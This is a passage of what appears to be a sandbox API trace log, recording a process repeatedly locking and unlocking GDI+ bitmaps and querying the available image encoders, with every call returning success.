	[0050.883] GdipBitmapLockBits (bitmap=0x79352f0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2839594) returned 0x0
	[0050.883] GdipBitmapUnlockBits (bitmap=0x79352f0, lockedBitmapData=0x2839594) returned 0x0
	[0050.883] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.884] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.884] GdipBitmapLockBits (bitmap=0x7935638, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x283c474) returned 0x0
	[0050.884] GdipBitmapUnlockBits (bitmap=0x7935638, lockedBitmapData=0x283c474) returned 0x0
	[0050.884] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.884] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.885] GdipBitmapLockBits (bitmap=0x7935980, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x283f354) returned 0x0
	[0050.885] GdipBitmapUnlockBits (bitmap=0x7935980, lockedBitmapData=0x283f354) returned 0x0
	[0050.885] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.885] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.885] GdipBitmapLockBits (bitmap=0x7935cc8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2842234) returned 0x0
	[0050.886] GdipBitmapUnlockBits (bitmap=0x7935cc8, lockedBitmapData=0x2842234) returned 0x0
	[0050.886] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.886] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.887] GdipBitmapLockBits (bitmap=0x7936010, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2845114) returned 0x0
	[0050.887] GdipBitmapUnlockBits (bitmap=0x7936010, lockedBitmapData=0x2845114) returned 0x0
	[0050.887] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.887] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.888] GdipBitmapLockBits (bitmap=0x7936358, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2847ff4) returned 0x0
	[0050.888] GdipBitmapUnlockBits (bitmap=0x7936358, lockedBitmapData=0x2847ff4) returned 0x0
	[0050.888] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.888] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.889] GdipBitmapLockBits (bitmap=0x79366a0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x284aed4) returned 0x0
	[0050.889] GdipBitmapUnlockBits (bitmap=0x79366a0, lockedBitmapData=0x284aed4) returned 0x0
	[0050.889] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.889] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.889] GdipBitmapLockBits (bitmap=0x79369e8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x284ddb4) returned 0x0
	[0050.890] GdipBitmapUnlockBits (bitmap=0x79369e8, lockedBitmapData=0x284ddb4) returned 0x0
	[0050.890] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.890] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.890] GdipBitmapLockBits (bitmap=0x7936d30, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2850c94) returned 0x0
	[0050.890] GdipBitmapUnlockBits (bitmap=0x7936d30, lockedBitmapData=0x2850c94) returned 0x0
	[0050.891] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.891] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780c358 | out: encoders=0x780c358) returned 0x0
	[0050.891] GdipBitmapLockBits (bitmap=0x7937078, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2853b74) returned 0x0
	[0050.891] GdipBitmapUnlockBits (bitmap=0x7937078, lockedBitmapData=0x2853b74) returned 0x0
	[0050.891] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.892] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780c358 | out: encoders=0x780c358) returned 0x0
	[0050.892] GdipBitmapLockBits (bitmap=0x79373c0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2856a54) returned 0x0
	[0050.892] GdipBitmapUnlockBits (bitmap=0x79373c0, lockedBitmapData=0x2856a54) returned 0x0
	[0050.892] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.892] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780c358 | out: encoders=0x780c358) returned 0x0
	[0050.893] GdipBitmapLockBits (bitmap=0x7937708, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2859934) returned 0x0
	[0050.893] GdipBitmapUnlockBits (bitmap=0x7937708, lockedBitmapData=0x2859934) returned 0x0
	[0050.893] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.893] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780e358 | out: encoders=0x780e358) returned 0x0
	[0050.894] GdipBitmapLockBits (bitmap=0x7937a50, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x285c814) returned 0x0
	[0050.894] GdipBitmapUnlockBits (bitmap=0x7937a50, lockedBitmapData=0x285c814) returned 0x0
	[0050.894] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.894] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780e358 | out: encoders=0x780e358) returned 0x0
	[0050.894] GdipBitmapLockBits (bitmap=0x7937d98, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x285f6f4) returned 0x0
	[0050.894] GdipBitmapUnlockBits (bitmap=0x7937d98, lockedBitmapData=0x285f6f4) returned 0x0
	[0050.895] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.895] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780e358 | out: encoders=0x780e358) returned 0x0
	[0050.895] GdipBitmapLockBits (bitmap=0x79380e0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28625d4) returned 0x0
	[0050.895] GdipBitmapUnlockBits (bitmap=0x79380e0, lockedBitmapData=0x28625d4) returned 0x0
	[0050.896] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.896] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780f340 | out: encoders=0x780f340) returned 0x0
	[0050.896] GdipBitmapLockBits (bitmap=0x7938428, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28654b4) returned 0x0
	[0050.896] GdipBitmapUnlockBits (bitmap=0x7938428, lockedBitmapData=0x28654b4) returned 0x0
	[0050.896] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.897] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780f340 | out: encoders=0x780f340) returned 0x0
	[0050.897] GdipBitmapLockBits (bitmap=0x7938770, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2868394) returned 0x0
	[0050.897] GdipBitmapUnlockBits (bitmap=0x7938770, lockedBitmapData=0x2868394) returned 0x0
	[0050.897] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.897] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780f340 | out: encoders=0x780f340) returned 0x0
	[0050.898] GdipBitmapLockBits (bitmap=0x7938ab8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x286b274) returned 0x0
	[0050.898] GdipBitmapUnlockBits (bitmap=0x7938ab8, lockedBitmapData=0x286b274) returned 0x0
	[0050.898] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.898] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780f340 | out: encoders=0x780f340) returned 0x0
	[0050.899] GdipBitmapLockBits (bitmap=0x7938e00, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x286e154) returned 0x0
	[0050.899] GdipBitmapUnlockBits (bitmap=0x7938e00, lockedBitmapData=0x286e154) returned 0x0
	[0050.899] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.899] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.899] GdipBitmapLockBits (bitmap=0x7939148, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2871034) returned 0x0
	[0050.899] GdipBitmapUnlockBits (bitmap=0x7939148, lockedBitmapData=0x2871034) returned 0x0
	[0050.900] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.900] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.900] GdipBitmapLockBits (bitmap=0x7939490, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2873f14) returned 0x0
	[0050.901] GdipBitmapUnlockBits (bitmap=0x7939490, lockedBitmapData=0x2873f14) returned 0x0
	[0050.901] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.901] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.901] GdipBitmapLockBits (bitmap=0x79397d8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2876df4) returned 0x0
	[0050.901] GdipBitmapUnlockBits (bitmap=0x79397d8, lockedBitmapData=0x2876df4) returned 0x0
	[0050.901] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.902] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.902] GdipBitmapLockBits (bitmap=0x7939b20, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2879cd4) returned 0x0
	[0050.902] GdipBitmapUnlockBits (bitmap=0x7939b20, lockedBitmapData=0x2879cd4) returned 0x0
	[0050.902] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.902] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.903] GdipBitmapLockBits (bitmap=0x7939e68, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x287cbb4) returned 0x0
	[0050.903] GdipBitmapUnlockBits (bitmap=0x7939e68, lockedBitmapData=0x287cbb4) returned 0x0
	[0050.903] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.903] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.903] GdipBitmapLockBits (bitmap=0x793a1b0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x287fa94) returned 0x0
	[0050.904] GdipBitmapUnlockBits (bitmap=0x793a1b0, lockedBitmapData=0x287fa94) returned 0x0
	[0050.904] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.904] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.906] GdipBitmapLockBits (bitmap=0x793a4f8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2882974) returned 0x0
	[0050.906] GdipBitmapUnlockBits (bitmap=0x793a4f8, lockedBitmapData=0x2882974) returned 0x0
	[0050.906] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.906] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.907] GdipBitmapLockBits (bitmap=0x793a840, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2885854) returned 0x0
	[0050.907] GdipBitmapUnlockBits (bitmap=0x793a840, lockedBitmapData=0x2885854) returned 0x0
	[0050.907] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.907] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.908] GdipBitmapLockBits (bitmap=0x793ab88, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2888734) returned 0x0
	[0050.908] GdipBitmapUnlockBits (bitmap=0x793ab88, lockedBitmapData=0x2888734) returned 0x0
	[0050.908] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.908] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.908] GdipBitmapLockBits (bitmap=0x793aed0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x288b614) returned 0x0
	[0050.908] GdipBitmapUnlockBits (bitmap=0x793aed0, lockedBitmapData=0x288b614) returned 0x0
	[0050.909] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.909] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.909] GdipBitmapLockBits (bitmap=0x793b218, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x288e4f4) returned 0x0
	[0050.909] GdipBitmapUnlockBits (bitmap=0x793b218, lockedBitmapData=0x288e4f4) returned 0x0
	[0050.909] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.910] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.910] GdipBitmapLockBits (bitmap=0x793b560, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28913d4) returned 0x0
	[0050.910] GdipBitmapUnlockBits (bitmap=0x793b560, lockedBitmapData=0x28913d4) returned 0x0
	[0050.910] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.910] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.911] GdipBitmapLockBits (bitmap=0x793b8a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28942b4) returned 0x0
	[0050.911] GdipBitmapUnlockBits (bitmap=0x793b8a8, lockedBitmapData=0x28942b4) returned 0x0
	[0050.911] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.911] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.912] GdipBitmapLockBits (bitmap=0x793bbf0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2897194) returned 0x0
	[0050.912] GdipBitmapUnlockBits (bitmap=0x793bbf0, lockedBitmapData=0x2897194) returned 0x0
	[0050.912] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.912] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.913] GdipBitmapLockBits (bitmap=0x793bf38, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x289a074) returned 0x0
	[0050.913] GdipBitmapUnlockBits (bitmap=0x793bf38, lockedBitmapData=0x289a074) returned 0x0
	[0050.913] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.913] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.913] GdipBitmapLockBits (bitmap=0x793c280, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x289cf54) returned 0x0
	[0050.913] GdipBitmapUnlockBits (bitmap=0x793c280, lockedBitmapData=0x289cf54) returned 0x0
	[0050.913] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.914] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.914] GdipBitmapLockBits (bitmap=0x793c5c8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x289fe34) returned 0x0
	[0050.914] GdipBitmapUnlockBits (bitmap=0x793c5c8, lockedBitmapData=0x289fe34) returned 0x0
	[0050.914] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.914] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.916] GdipBitmapLockBits (bitmap=0x793c910, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28a2d14) returned 0x0
	[0050.916] GdipBitmapUnlockBits (bitmap=0x793c910, lockedBitmapData=0x28a2d14) returned 0x0
	[0050.916] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.916] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.916] GdipBitmapLockBits (bitmap=0x793cc58, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28a5bf4) returned 0x0
	[0050.917] GdipBitmapUnlockBits (bitmap=0x793cc58, lockedBitmapData=0x28a5bf4) returned 0x0
	[0050.917] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.917] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.917] GdipBitmapLockBits (bitmap=0x793cfa0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28a8ad4) returned 0x0
	[0050.918] GdipBitmapUnlockBits (bitmap=0x793cfa0, lockedBitmapData=0x28a8ad4) returned 0x0
	[0050.918] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.918] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.918] GdipBitmapLockBits (bitmap=0x793d2e8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28ab9b4) returned 0x0
	[0050.918] GdipBitmapUnlockBits (bitmap=0x793d2e8, lockedBitmapData=0x28ab9b4) returned 0x0
	[0050.918] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.919] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.919] GdipBitmapLockBits (bitmap=0x793d630, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28ae894) returned 0x0
	[0050.919] GdipBitmapUnlockBits (bitmap=0x793d630, lockedBitmapData=0x28ae894) returned 0x0
	[0050.919] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.919] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.920] GdipBitmapLockBits (bitmap=0x793d978, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28b1774) returned 0x0
	[0050.920] GdipBitmapUnlockBits (bitmap=0x793d978, lockedBitmapData=0x28b1774) returned 0x0
	[0050.920] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.920] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.921] GdipBitmapLockBits (bitmap=0x793dcc0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28b4654) returned 0x0
	[0050.921] GdipBitmapUnlockBits (bitmap=0x793dcc0, lockedBitmapData=0x28b4654) returned 0x0
	[0050.921] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.921] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.922] GdipBitmapLockBits (bitmap=0x793e008, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28b7534) returned 0x0
	[0050.922] GdipBitmapUnlockBits (bitmap=0x793e008, lockedBitmapData=0x28b7534) returned 0x0
	[0050.922] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.922] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.922] GdipBitmapLockBits (bitmap=0x793e350, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28ba414) returned 0x0
	[0050.923] GdipBitmapUnlockBits (bitmap=0x793e350, lockedBitmapData=0x28ba414) returned 0x0
	[0050.923] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.923] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.923] GdipBitmapLockBits (bitmap=0x793e698, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28bd2f4) returned 0x0
	[0050.923] GdipBitmapUnlockBits (bitmap=0x793e698, lockedBitmapData=0x28bd2f4) returned 0x0
	[0050.923] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.924] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.924] GdipBitmapLockBits (bitmap=0x793e9e0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28c01d4) returned 0x0
	[0050.924] GdipBitmapUnlockBits (bitmap=0x793e9e0, lockedBitmapData=0x28c01d4) returned 0x0
	[0050.924] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.924] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.925] GdipBitmapLockBits (bitmap=0x793ed28, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28c30b4) returned 0x0
	[0050.925] GdipBitmapUnlockBits (bitmap=0x793ed28, lockedBitmapData=0x28c30b4) returned 0x0
	[0050.925] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.925] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.926] GdipBitmapLockBits (bitmap=0x793f070, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28c5f94) returned 0x0
	[0050.926] GdipBitmapUnlockBits (bitmap=0x793f070, lockedBitmapData=0x28c5f94) returned 0x0
	[0050.926] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.926] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.926] GdipBitmapLockBits (bitmap=0x793f3b8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28c8e74) returned 0x0
	[0050.927] GdipBitmapUnlockBits (bitmap=0x793f3b8, lockedBitmapData=0x28c8e74) returned 0x0
	[0050.927] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.927] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.927] GdipBitmapLockBits (bitmap=0x793f700, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28cbd54) returned 0x0
	[0050.927] GdipBitmapUnlockBits (bitmap=0x793f700, lockedBitmapData=0x28cbd54) returned 0x0
	[0050.927] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.928] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.928] GdipBitmapLockBits (bitmap=0x793fa48, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28cec34) returned 0x0
	[0050.928] GdipBitmapUnlockBits (bitmap=0x793fa48, lockedBitmapData=0x28cec34) returned 0x0
	[0050.928] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.928] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.929] GdipBitmapLockBits (bitmap=0x793fd90, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28d1b14) returned 0x0
	[0050.929] GdipBitmapUnlockBits (bitmap=0x793fd90, lockedBitmapData=0x28d1b14) returned 0x0
	[0050.929] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.929] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.930] GdipBitmapLockBits (bitmap=0x79400d8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28d49f4) returned 0x0
	[0050.930] GdipBitmapUnlockBits (bitmap=0x79400d8, lockedBitmapData=0x28d49f4) returned 0x0
	[0050.930] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.930] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.930] GdipBitmapLockBits (bitmap=0x7940420, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28d78d4) returned 0x0
	[0050.931] GdipBitmapUnlockBits (bitmap=0x7940420, lockedBitmapData=0x28d78d4) returned 0x0
	[0050.931] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.931] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.931] GdipBitmapLockBits (bitmap=0x7940768, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28da7b4) returned 0x0
	[0050.931] GdipBitmapUnlockBits (bitmap=0x7940768, lockedBitmapData=0x28da7b4) returned 0x0
	[0050.931] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.932] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.932] GdipBitmapLockBits (bitmap=0x7940ab0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28dd694) returned 0x0
	[0050.932] GdipBitmapUnlockBits (bitmap=0x7940ab0, lockedBitmapData=0x28dd694) returned 0x0
	[0050.932] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.932] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.933] GdipBitmapLockBits (bitmap=0x7940df8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28e0574) returned 0x0
	[0050.933] GdipBitmapUnlockBits (bitmap=0x7940df8, lockedBitmapData=0x28e0574) returned 0x0
	[0050.933] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.933] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.933] GdipBitmapLockBits (bitmap=0x7941140, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28e3454) returned 0x0
	[0050.934] GdipBitmapUnlockBits (bitmap=0x7941140, lockedBitmapData=0x28e3454) returned 0x0
	[0050.934] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
